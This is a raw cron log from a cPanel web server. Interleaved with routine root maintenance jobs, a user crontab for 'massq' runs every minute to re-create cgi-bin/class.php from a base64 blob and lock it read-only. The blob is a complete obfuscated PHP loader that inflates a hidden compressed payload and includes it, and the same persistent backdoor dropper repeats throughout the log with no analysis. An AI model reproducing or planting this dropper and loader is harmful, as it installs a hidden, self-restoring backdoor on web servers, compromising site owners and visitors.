"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:42:01 server CROND[16449]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 10:42:01 server CROND[16451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:43:01 server CROND[16575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:44:01 server CROND[16637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:45:01 server CROND[16701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:45:01 server CROND[16702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:45:01 server CROND[16703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:46:01 server CROND[16812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:47:01 server CROND[16988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:48:01 server CROND[17042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:49:01 server CROND[17106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:50:01 server CROND[17177]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 10:50:01 server CROND[17179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:50:01 server CROND[17181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:50:01 server CROND[17182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:50:01 server CROND[17180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:51:01 server CROND[17304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:52:01 server CROND[17474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:53:01 server CROND[17542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:54:01 server CROND[17609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
